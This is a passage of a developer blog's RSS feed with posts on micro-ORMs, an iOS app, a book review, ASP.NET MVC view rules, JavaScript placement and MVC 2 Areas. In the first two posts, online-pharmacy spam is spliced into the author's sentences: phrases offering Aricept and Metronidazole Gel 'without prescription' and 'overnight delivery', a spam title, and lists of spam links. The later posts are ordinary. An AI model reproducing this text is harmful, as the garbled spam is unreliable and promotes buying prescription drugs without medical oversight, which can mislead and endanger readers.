are plural, I have to specify the name of my table for them in EVERY SINGLE CLASS.</p>  <p>Now, <b>Metronidazole Gel steet value</b>, <b>Get Metronidazole Gel</b>, how to query:</p>  <p>var tbl = new Customer();   <br />var customer = tbl.Single(1);</p>  <p>Smack-dab, back to Active Record.</p>  <p>Also, <b>herbal Metronidazole Gel</b>, <b>Metronidazole Gel australia, uk, us, usa</b>, I didn’t see anything on how to parse multiple result sets.</p>  <p>Go to <a href="http://blog.wekeroad.com/helpy-stuff/and-i-shall-call-it-massive">Rob’s site and you will see more samples</a>.&#160; Needless to say, it is off my list.&#160; Granted, <b>after Metronidazole Gel</b>, <b>Purchase Metronidazole Gel online no prescription</b>, Massive is still much less overhead than NHibernate and Entity framework, but there is too much API there for me, <b>Metronidazole Gel from mexico</b>, <b>Order Metronidazole Gel from United States pharmacy</b>, too much setup, I don’t get my POCOs, <b>Metronidazole Gel long term</b>, <b>Buy cheap Metronidazole Gel</b>, etc.</p>.  Metronidazole Gel cost.  Order Metronidazole Gel online overnight delivery no prescription.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4831'>Buy Glucophage Without Prescription</a>. <a href='http://elegantcode.com/?p=4622'>Buy Diclofenac Without Prescription</a>. <a href='http://elegantcode.com/?p=4307'>Buy Toradol Without Prescription</a>. <a href='http://elegantcode.com/?p=4308'>Buy Cipro Without Prescription</a>. <a href='http://elegantcode.com/?p=4240'>Buy Combivent Without Prescription</a>. <a href='http://elegantcode.com/?p=5052'>Lotrisone cost</a>. <a href='http://elegantcode.com/?p=4233'>Online buying Pristiq hcl</a>. <a href='http://elegantcode.com/?p=4859'>Where to buy Triamterene</a>. <a href='http://elegantcode.com/?p=5163'>Online buying Zithromax</a>. <a href='http://elegantcode.com/?p=4218'>Elavil use</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.macneilbmx.com/blog/?p=5244'>Metronidazole Gel For Sale</a>. <a href='http://www.greatgreengoods.com/?p=3407'>Metronidazole Gel For Sale</a>. <a href='http://www.thegriffonnews.com/?p=9775'>Metronidazole Gel For Sale</a>. <a href='http://www.independentworldreport.com/?p=198'>Metronidazole Gel For Sale</a>. <a href='http://www.themusclecarplace.com/?p=2956'>Metronidazole Gel For Sale</a>. <a href='http://www.quarterlives.com/?p=920'>Buy no prescription Metronidazole Gel online</a>. <a href='http://tayloegray.com/?p=253'>Metronidazole Gel alternatives</a>. <a href='http://social-blend.com/?p=761'>Metronidazole Gel schedule</a>. <a href='http://blog.farmland.org/?p=3382'>Online buy Metronidazole Gel without a prescription</a>. <a href='http://www.leaduganda.org/?p=1014'>Metronidazole Gel no prescription</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2011/08/02/thoughts-on-microorms/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Aricept For Sale</title>
		<link>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=so-what-was-i-thinking-anyway</link>
		<comments>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/#comments</comments>
		<pubDate>Sat, 02 Apr 2011 01:26:28 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=4228</guid>
		<description><![CDATA[Aricept For Sale, Ever start a project just to learn something new. Aricept treatment,  But to do it, you have to have an app idea to throw around it, generic Aricept. Order Aricept online overnight delivery no prescription,  I had one of those.  I've been doing a wee bit of iOS development over the past [...]]]></description>
			<content:encoded><![CDATA[<p> <b>Aricept For Sale</b>, Ever start a project just to learn something new.  <b>Aricept treatment</b>,  But to do it, you have to have an app idea to throw around it, <b>generic Aricept</b>.  <b>Order Aricept online overnight delivery no prescription</b>,  I had one of those.  I've been doing a wee bit of iOS development over the past year, <b>Aricept class</b>, <b>Aricept pictures</b>, and I found I wanted to learn about iAds, in App Purchasing, <b>buy no prescription Aricept online</b>, <b>Online buy Aricept without a prescription</b>, talking between devices (via BlueTooth), and just get better at coding in general, <b>Aricept price</b>.  <b>Aricept forum</b>, I did just that.  I created an IPhone/IPad app called <a href="http://www.diamondbsoftware.com/index.php/agile-cards/">Agile Cards</a>, <b>Aricept For Sale</b>.  You can read up on it if you like, <b>cheap Aricept no rx</b>.  <b>Aricept trusted pharmacy reviews</b>,  Agile Cards is your basic card estimation app for the IPhone.  Real original, <b>effects of Aricept</b>, <b>Buy generic Aricept</b>, I know.  I think my competition is about a dozen other apps, <b>no prescription Aricept online</b>.  <b>Aricept For Sale</b>,  The only thing Agile Cards does that the others do not (that I know of) is use an IPad as a server.  <b>Buy Aricept online cod</b>,  This is optional of course.  So if you have several IPhones and an IPad you can have a digitally dynamic Scrum Estimation, <b>herbal Aricept</b>.  <b>About Aricept</b>, So what was I thinking.  I was thinking I needed practice, <b>Aricept coupon</b>.</p>
<p>I knew what I wanted to practice, so I thought up an app to do that with, <b>Aricept For Sale</b>.  <b>Buy Aricept without prescription</b>,  Now the great thing about the App Stores (for Apple, Android, <b>Aricept dosage</b>, <b>Aricept price, coupon</b>, and WinPhone 7), is that you can "easily" take these little apps that you are writing and sell them, <b>doses Aricept work</b>.  <b>Aricept maximum dosage</b>,  I've had dozens of apps that I've done for exactly the same purpose (to learn), but never had an easy route for selling them, <b>Aricept from canada</b>.  <b>Purchase Aricept for sale</b>,  And setting up an online store is just a big pain as far as I'm concerned.</p>
<p>But I put easily in quotes up there, <b>Aricept over the counter</b>.  <b>Aricept For Sale</b>,  There are a few caveats to my statement above.  <b>Aricept mg</b>,  I had a designer that wanted to do some more IPhone designing.  I've helped him with apps as well, <b>Aricept cost</b>, <b>Order Aricept from mexican pharmacy</b>, so he was happy to help out.  If  you are going to go onto an app store, <b>purchase Aricept</b>, <b>Comprar en línea Aricept, comprar Aricept baratos</b>, you will/should spend more time on user experience than you normally would, especially if you were just writing the app for yourself, <b>Aricept australia, uk, us, usa</b>.  <b>Where can i buy cheapest Aricept online</b>, There is also the hassle of dealing with the app store requirements.  You need icons, splash screens, verbiage (which I kind of suck at), a web site, screen shots, email addresses, etc, <b>Aricept For Sale</b>.  I even setup a Google Voice account for it, <b>Aricept steet value</b>.  <b>Aricept long term</b>,   All this for a free app.  (OK, <b>cheap Aricept</b>, <b>Real brand Aricept online</b>, there are ad, but free none the less), <b>order Aricept online c.o.d</b>.  <b>What is Aricept</b>, What was I thinking.  <b>Aricept For Sale</b>,  I was thinking I also needed the practice of finishing an app.</p>
<p>There is nothing wrong with starting an app and throwing it away, <b>Aricept gel, ointment, cream, pill, spray, continuous-release, extended-release</b>, or just stopping when you don't need to go any further.  You end up with a program with a few quirks (bugs) that never get fixed, but you are probably the only person using it anyway.  That is fine.  But every now and then you need to FINISH something.  By FINISH, I mean shipping quality, <b>Aricept For Sale</b>.  Shipping quality is hard btw.  It takes more time.  You need other people looking at things.</p>
<p>This is to remind you that software can be hard.  <b>Aricept For Sale</b>,  We deal with details, lots of them.  Selling software to other people means dealing with even more details.  It is good to do every now and then.  On your own.</p>
<p>So what was I thinking.   I thought it sounded like fun, <b>Aricept For Sale</b>.</p>
<p>And by fun, like running a marathon half prepared fun.  BTW: I never did get to the "In app purchasing" bit.   I guess that can be next time.  It was to remove the ads.  I never have released an app with every single feature I ever wanted in it.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4435'>Lipitor For Sale</a>. <a href='http://elegantcode.com/?p=4660'>Buy Lumigan Without Prescription</a>. <a href='http://elegantcode.com/?p=4337'>Vibramycin For Sale</a>. <a href='http://elegantcode.com/?p=4935'>Buy Aricept Without Prescription</a>. <a href='http://elegantcode.com/?p=4204'>Seroquel For Sale</a>. <a href='http://elegantcode.com/?p=4427'>Bactrim dose</a>. <a href='http://elegantcode.com/?p=4756'>Is Plavix safe</a>. <a href='http://elegantcode.com/?p=4426'>Lexapro without prescription</a>. <a href='http://elegantcode.com/?p=4587'>Where can i order Pristiq without prescription</a>. <a href='http://elegantcode.com/?p=4190'>Online Allopurinol without a prescription</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.quarterlives.com/?p=581'>Aricept For Sale</a>. <a href='http://4realz.net/?p=1491'>Aricept For Sale</a>. <a href='http://www.leaduganda.org/?p=468'>Aricept For Sale</a>. <a href='http://www.macneilbmx.com/blog/?p=6291'>Aricept For Sale</a>. <a href='http://www.greatgreengoods.com/?p=3626'>Aricept For Sale</a>. <a href='http://social-blend.com/?p=1085'>Aricept reviews</a>. <a href='http://blog.farmland.org/?p=3058'>Purchase Aricept for sale</a>. <a href='http://reversemortgagedaily.com/?p=14779'>Aricept dosage</a>. <a href='http://linuxologist.com/?p=395'>Purchase Aricept online no prescription</a>. <a href='http://home.officesnapshots.com/?p=167'>Japan, craiglist, ebay, overseas, paypal</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Book Review: Brain Rules</title>
		<link>http://elegantcode.com/2010/11/20/book-review-brain-rules/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=book-review-brain-rules</link>
		<comments>http://elegantcode.com/2010/11/20/book-review-brain-rules/#comments</comments>
		<pubDate>Sun, 21 Nov 2010 00:28:50 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/11/20/book-review-brain-rules/</guid>
		<description><![CDATA[This is not your usual book review that you would expect on a site like this.&#160; First off, the book does not talk about code, software, or software developers even once.&#160;&#160; But, almost everything in this book is applicable to what we do as software developers, managers, project managers, and leads. The book, Brain Rules [...]]]></description>
			<content:encoded><![CDATA[<p>This is not your usual book review that you would expect on a site like this.&#160; First off, the book does not talk about code, software, or software developers even once.&#160;&#160; But, almost everything in this book is applicable to what we do as software developers, managers, project managers, and leads.</p>  <p>The book, Brain Rules by John Medina, is about the brain and what is actually know about.&#160; I like the author’s criteria for what went in the book.&#160; He called it the “Cranky Scientist Rule.”&#160; Nothing is in the book that hasn’t been published in a scientific journal, peer reviewed, and duplicated by someone else.&#160; I liked that as well.</p>  <p>Each chapter, and there are 12 of them, are about what the brain needs, and how best to give the brain what it needs.&#160; There are chapters specific to Sleep, Stress, Short term memory, long term memory, and gender.&#160; There are few absolutes in the book (except multitasking, he says you can’t do it and wants to ban texting in cars – I’ll grant him that one), but LOTS of pointers.&#160; Also, there are plenty of asides where he talks about actual people with interesting conditions you should really hope you don’t get (but probably wouldn’t notice if you did).</p>  <p>And for a book on the brain, it is not dry at all.&#160; The Author is a VERY effective writer, and judging from his credentials, probably an excellent teacher as well.&#160; If you have a few minutes, I highly recommend checking out his web site: <a href="http://BrainRules.com">BrainRules.com</a> and watch some of his videos.</p>  <p><a href="http://www.amazon.com/Brain-Rules-Principles-Surviving-Thriving/dp/0979777747/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1290299287&amp;sr=1-1">Check out the book as well at amazon</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/11/20/book-review-brain-rules/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Asp.Net MVC: My Personal View Rules</title>
		<link>http://elegantcode.com/2010/07/05/asp-net-mvc-my-personal-view-rules/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=asp-net-mvc-my-personal-view-rules</link>
		<comments>http://elegantcode.com/2010/07/05/asp-net-mvc-my-personal-view-rules/#comments</comments>
		<pubDate>Mon, 05 Jul 2010 23:10:02 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Asp.Net MVC]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=3641</guid>
		<description><![CDATA[I've been working with a team of guys on several Asp.Net MVC projects since October of 2009.  While that isn't the greatest amount of time, and I'm still no expert, I thought I'd jot down a few of the practices that we have developed to help make coding a bit smoother.  Asp.Net MVC, as with [...]]]></description>
			<content:encoded><![CDATA[I've been working with a team of guys on several Asp.Net MVC projects since October of 2009.  While that isn't the greatest amount of time, and I'm still no expert, I thought I'd jot down a few of the practices that we have developed to help make coding a bit smoother.  Asp.Net MVC, as with every new technology can be used poorly, and when use poorly you try to identify why that code was bad, how it could have been done better.

First, lets think about what the view should be doing - in a single responsibility sort of way: turn data into html.  That right there rules out several options.  No retrieving data, no extra data transformations.  Just turn some data into html.  And frankly, that is complicated enough.  So a side goal that I strive for is to create a markup page (the aspx) that is similar to the desired html output.  The main reason for that side goal is to make double checking the output that much easier.  I want to see a 'div' in my markup, and have a reasonable idea where that 'div' will show up in the html.
<ol>
	<li><strong>Keep as much code out of your views as you can.</strong></li>
</ol>
Don't make this rule overly simplistic.  Some code belongs in the view.  A 'for' loop to create a table, a simple 'if' block to show administrator functionality, stuff like that.  But you shouldn't be having to specify the DateTime format, or string parsing.  That is what the ViewModels should do for you.  Rule of thumb, if you see a block where there is more C# than HTML, you probably did it wrong.

I will also extend this rule to JavaScript as well.  I've talked about the why JavaScript should not be in the views before, so this should not be a shock.  JavaScript belong in separate files.  Period.

2. <strong>Make Views typed.</strong>

This is true for all views where you have to pass data from the controller to the view.  Make a View Model for the view and pass data via that model.  This opens up a whole host of better patterns for you, like typed HtmlHelpers.  As a result, it is VERY rare that I will share a view model between views, or even Controller Actions.  I make separate models for GET, POST, and DELETE.  I guess my view is, the more the merrier.

3.   <strong>Make the View Models specific to the needs of the view.</strong>

OK, this isn't actually a View best practice, but it is highly related.  If you try to keep the model for the view too generic, you end up with a lot of logic in the view to transpose the data into something useful.  The key point is that the data in the model serves the view, so all of the work to get the data into the correct format should be done when putting the data into  the model.  I will often take this to the point where the model will give html elements in the view their CSS classes.  So that means I have more than data from the database in the views.

Side note: when it comes to populating View Models with data specific for the View, <a href="http://automapper.codeplex.com/">AutoMapper</a> rocks!  That is all.

4.  <strong>Custom Html Helpers are wonderful things</strong>

It is remarkably simple to create your own Html Helper, and once you get the hang of them they are beautiful.  They are wonderful little ways to encapsulate a small amount of logic so you can get it out of the aspx view.  Use them to encapsulate small amounts of code you need in various place through the project.

Another little "trick" I will use from time to time to create custom models just for a html helper (passed in via the view's view model).  I have a few places where I need to change the markup because of the browser being used...so I create a custom helper that can detect the browser.

5. <strong>Standard HTML Helpers are great, but remember html</strong>

The key point I'm trying to make here is to become familiar with the output of the standard HTML helpers.  While the helpers can be great, they have their warts (anything having to do with an attribute name/value is a bit ugly).  Sometimes it is easier to swap them out with the standard html (especially with inputs) to get the exact output you want.  As a bonus, it is easier for the next guy coming in to figure out what you were after.   Currently, I'd say I use the helpers about 50% of the time over raw HTML.

Now, typing the html, or the helper, still kind of stinks.  You have to type the same code over and over.  Take a look at what <a href="http://code.google.com/p/zen-coding/">Zen-Coding</a> does.  You can do the same thing with ReSharper Templates or Visual Studio snippets...or just install one of the ReSharper or Visual Studio pluggins.  But beyond that, there is an art to customizing Visual Studio that you should learn.

6. <strong> Wrap all links in Url.Content and Url.Action</strong>

You have a web app.  You have to navigate between pages, call web services, link in javascript and CSS.  That is just what we do.  All of those links should be wrapped in Url.Content or Url.Action helpers.   The problem that is easy to run into is you move from development to test and the base url for your application changes.  You were testing at http://localhost:898989/ , and now you are deployed to http://myserver/myapp/  and a whole lot of urls just stopped working.  Url.Content and Url.Action are supposed to fix that.  That is why you use them.

7.  <strong>Get to know Partial Views for Ajax calls.</strong>

Partial views are actually just views that don't have master pages and the html/body tag sections.  Partials can be executed in a multitude of ways, not just from inside a view on the server, but also from Javascript on the browser. JQuery also has a wonderful little method called $.load that will call a url, take the html that is returned, and slap it into the page.  This can greatly simplify a lot of behaviors.

I subtle little trick I sometimes do with this this is to wrap a section of code that takes a long time to load in a partial.  I will then call that partial into my page AFTER is has loaded on the browser (using the JavaScript function setTimeout to call the $.load ).  Now I get  a page that loads faster, but still has all of the data it needs.

8. <strong>Make the Master page work for you.</strong>

It isn't that there is something inherently wrong with the existing master page that you get when you create a new Asp.net MVC project.  Typically it is 80% of what you would want.  But, as soon as I know what my general page is supposed to look like, I rip right into the Master Page.   Also keep in mind that you can nest Master Pages as well.

9. <strong>Think about what a designer would want.</strong>

Even if you don't have one.  This is just a general pattern I try to get into.  I think about a designer as someone that can take raw html, add some css and images and make my work look a LOT better.    This means I use the raw html whenever possible, I write my JavaScript click handler so they will work with buttons or links (hint: always return false -- and why haven't I written a JQuery plugin for this yet?).

10.  <strong>Version your css and JavaScript</strong>

This is actually getting into my next blog post, but figure out a way to version your JavaScript and CSS.  This really isn't MVC specific, you should do this in almost any project.  The key reason is to help you with a browser's cache.  You know you have a problem when the first thing someone tells you, when asking for help, is that they cleared their cache already.   My thought on this is your web app's dll should have a version number, set the project to auto version, and then pop that onto the end of the css/javascript file call.  So it might look like this:  "http://myapp/.../file.css?version=1.0.0.256".   In my sample code, when in development I stick a timestamp on the file in the same way.

OK, 10 rules is quite enough (I didn't even think I would get that many).   To the american's reading this: Happy Independence Day.]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/07/05/asp-net-mvc-my-personal-view-rules/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Developers still need database skills</title>
		<link>http://elegantcode.com/2010/04/30/developers-still-need-database-skills/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=developers-still-need-database-skills</link>
		<comments>http://elegantcode.com/2010/04/30/developers-still-need-database-skills/#comments</comments>
		<pubDate>Sat, 01 May 2010 00:53:37 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/04/30/developers-still-need-database-skills/</guid>
		<description><![CDATA[Rant here.&#160; First off, I’m going to be talking about DBAs.&#160; And by DBA, I mean a database developer.&#160; Someone who knows relational theory, optimization, and SQL inside out.&#160; This is an R&#38;D DBA.&#160; There is another type of DBA that mainly deals with uptime and backup strategies.&#160; This is an IT DBA, I’m not [...]]]></description>
			<content:encoded><![CDATA[<p>Rant here.&#160; First off, I’m going to be talking about DBAs.&#160; And by DBA, I mean a database developer.&#160; Someone who knows relational theory, optimization, and SQL inside out.&#160; This is an R&amp;D DBA.&#160; There is another type of DBA that mainly deals with uptime and backup strategies.&#160; This is an IT DBA, I’m not talking about that one at all.</p>  <p>I was going to talk to some of my fellow developers about a couple of database issues.&#160; The response was, “you said the ‘D’ word.&#160; Now, we are an NHibernate/Microsoft SQL Server shop (or, Fluent NHibernate), and we rarely have to think about think about database architecture.&#160; Heck, up till a month ago I don’t think we had to do any native SQL queries at all.&#160; Currently, I don’t think we have any stored procs at all.&#160; In my book, all of that is a good thing.&#160; You can also chalk one up to Microsoft SQL Server in this one, our system has grown a lot and performance has remained pretty darn stable.</p>  <p>And lets be frank, I love this – most of the time.&#160; Linq To NHibernate queries, Fluent NHibernate, and the like all make for a very enjoyable experience for developing against a database.&#160; I would say that the vast majority of our querying needs are met with no further issues.&#160; I certainly don’t want to go back to a stored proc world.&#160; </p>  <p>That said, I don’t like using our ORM as an excuse to not talk about database issues or SQL issues.&#160; If you are using a particular data storage technology, it still behooves you to know as much about it as possible.&#160; Otherwise, when you get to a point where you need to know about what is going on will be too late.&#160; Lets be frank here, no ORM will handle all of you query needs.&#160; At best we are talking 90%, sometimes only 80%, for a typical application.&#160; At some point you either have to go to the metal, or you end up coding things in a very strange way.</p>  <p>So here is the main point, as long as Relational Databases continue to be the “right answer” for business data storage, you need to learn database theory and SQL.&#160; You might not need to know SQL as well as your native C#, Ruby, or other main language.&#160; But that is not an excuse for not being comfortable with left outer joins, third normal form, and indexing.</p>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/04/30/developers-still-need-database-skills/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Your JavaScript goes WHERE?</title>
		<link>http://elegantcode.com/2010/03/30/your-javascript-goes-where/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=your-javascript-goes-where</link>
		<comments>http://elegantcode.com/2010/03/30/your-javascript-goes-where/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 03:35:37 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[html]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/03/30/your-javascript-goes-where/</guid>
		<description><![CDATA[Let me start by saying that I was not trying to be controversial.  I was at Boise Code Camp giving a session about Asp.Net MVC, and I happened to mention that JavaScript was supposed to go at the bottom of your page.  Plus, I said this in a “of course you all know this already” [...]]]></description>
			<content:encoded><![CDATA[Let me start by saying that I was not trying to be controversial.  I was at Boise Code Camp giving a session about Asp.Net MVC, and I happened to mention that JavaScript was supposed to go at the bottom of your page.  Plus, I said this in a “of course you all know this already” type of voice, thinking this needed no further explanation.

Then the hands started raising.  Quickly, I might add.  I had to explain myself.  Yes, JavaScript goes at the bottom of your page.  Yes, I realize that we were all taught, back in the day, that JavaScript’s true home was in the &lt;head&gt; element.  In fact, <a href="http://docs.jquery.com/Tutorials:Getting_Started_with_jQuery">many sample pages still show JavaScript at the top</a>.  But we probably learned that ten years ago, you have to think a few things have changed…except IE6 – that sucker is going to live forever!  Anyway, I’m not the type that like to stand up in a crowd and say “everything you, and everyone you know, is doing is wrong” (I’m not that smart).  And if I do, I want to come with some substantial proof.

To start, <a href="http://www.w3.org/TR/REC-html40/interact/scripts.html#h-18.2.1">where does the w3c say the SCRIPT element is supposed to go?</a>  If you read the document in the link, SCRIPT can live in either the HEAD or the BODY elements. So technically, both places are legal.  I am stating this so that no one come back and tells me I’m breaking any fundamental web rules.  If the w3c says it is ok, then it is ok darn it.
<h2>But why the bottom of the page? </h2>
That one is slightly harder to explain.  But here are the basics:  when a browser loads a document there are only so many thread for processing the document and download all the other crap that you put on the page <a href="http://theoatmeal.com/comics/design_hell">so it pops</a> (so, images and css, not to mention the bagillion font tags that Word likes to put in html).  There is also an unwritten rule that JavaScript should enhance the page after it is loaded.  So any time the browser spends parsing JavaScript is time it could be using to make the page look right.  Also, with some browsers, when the browser is loading JavaScript, ALL OTHER ACTIVITY STOPS.  Nothing else is downloaded, the browser is at a standstill until all the script is parsed – and <a href="http://ejohn.org/blog/javascript-performance-rundown/">you know how fast IE is at JavaScript.</a>

Lets be clear about this “rule”.  <a href="http://developer.yahoo.com/performance/rules.html#js_bottom">I did not make this up.</a>  But there are other ways around the performance penalty, you can also <a href="http://code.google.com/speed/page-speed/docs/payload.html#DeferLoadingJS">defer load</a> your JavaScript.  Also, putting all of the JavaScript into a single, external file is a great idea.  With a external file you get the added benefit of the JavaScript file being cached by the browser (Note: great for the user – pain for your tester.  Repeat after me, “CLEAR YOUR CACHE” often when testing).

OK, so let us review.

<a href="http://elegantcode.com/wp-content/uploads/2010/03/image17.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" src="http://elegantcode.com/wp-content/uploads/2010/03/image_thumb17.png" border="0" alt="image" width="823" height="594" /></a>
<h2>But how bad is this?</h2>
That is a fair question as well.  Truthfully, it depends.  I know that is my stock answer, but I’m talking about how much this will affect the user.  It could be nothing.  But if you have a lot of JavaScript on the page, it could be significant.   Potentially it could be as annoying as a blink tag.  Even worse it might be on par with ESPN and their auto-playing videos.   But, if we are talking about 10-20 lines of script, there could be no change at all in render time. I will say this, by moving the script to the bottom of the page I have taken pages that were not usable for 10 seconds, improved it to moments (the page had a LOT of JavaScript…and it was a very noble cause).
<h2>What else should I be doing that I’m not?</h2>
This one is easy.  Run all of your pages through <a href="http://developer.yahoo.com/yslow/">YSlow</a> and <a href="http://code.google.com/speed/page-speed/">PageSpeed</a> (you need FireFox and <a href="http://getfirebug.com/">Firebug</a> installed for this) and find out.  Also, you don’t have to be perfect as far as these tools are concerned.  Some of the rule are probably not practical either (the “You should be using a CDN for images” rule comes to mind).  But it is good to know where you can improve.  PageSpeed has a number of really nice tools as well.  It will return you properly sized images, and compressed CSS and JavaScript if you ask it.]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/03/30/your-javascript-goes-where/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Asp.Net MVC 2 Areas</title>
		<link>http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=asp-net-mvc-2-areas</link>
		<comments>http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/#comments</comments>
		<pubDate>Sun, 14 Mar 2010 00:13:19 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Asp.Net MVC]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/</guid>
		<description><![CDATA[I’m looking into the new stuff in Asp.Net MVC 2, trying to figure out what is cool and what is just there.&#160; Areas look like a nice addition.&#160; Areas allow you to separate your Asp.Net MVC application into more distinct partitions.&#160; So all of the Controllers, Models, Views, and even routes belong to one directory [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://elegantcode.com/wp-content/uploads/2010/03/image13.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; margin-left: 0px; border-top: 0px; margin-right: 0px; border-right: 0px" title="image" border="0" alt="image" align="right" src="http://elegantcode.com/wp-content/uploads/2010/03/image_thumb13.png" width="119" height="244" /></a>I’m looking into the new stuff in Asp.Net MVC 2, trying to figure out what is cool and what is just there.&#160; Areas look like a nice addition.&#160; Areas allow you to separate your Asp.Net MVC application into more distinct partitions.&#160; So all of the Controllers, Models, Views, and even routes belong to one directory structure.&#160; It is like having a sub-project inside of you MVC project. </p>  <p>Here is the problem, as I see it:&#160; as an MVC project gets large, keeping all of the necessary pieces and parts for a set of controller actions straight can get a bit daunting.&#160; I’ve ended up with duplicate folder structures in views and models, which can make navigation a pain.</p>  <p>To make a new Area, simply right-click anywhere in you MVC project, Add-&gt;Area.&#160; As I said, you can do this from anywhere in the project structure, but the Areas are created in a new “Areas” folder.&#160; When you name the Area, a new folder is created with the Areas name as well.</p>  <p>Once created you should see all the familiar Controllers, Models, and Views folders (all blank).&#160; In addition to that, you will see an &lt;name&gt;AreaRegistration.cs file.&#160; This inherits from AreaRegistration, and this is where any new Routes go.&#160; In the file is a prebuilt route that should look similar to this:</p>  <div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper">   <div style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet">     <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum1">   1:</span> context.MapRoute(</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum2">   2:</span>     <span style="color: #006080">&quot;test1_default&quot;</span>,</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum3">   3:</span>     <span style="color: #006080">&quot;test1/{controller}/{action}/{id}&quot;</span>,</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum4">   4:</span>     <span style="color: #0000ff">new</span> { action = <span style="color: #006080">&quot;Index&quot;</span>, id = UrlParameter.Optional }</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum5">   5:</span> );</pre>
<!--CRLF--></div>
</div>

<p>So a url to the area would include /test1/ (name of my Area) in the path.&#160; That would be good if you had multiple controllers with the same name, but if you don’t, just take out the “test1” and you won’t need it in the path.</p>

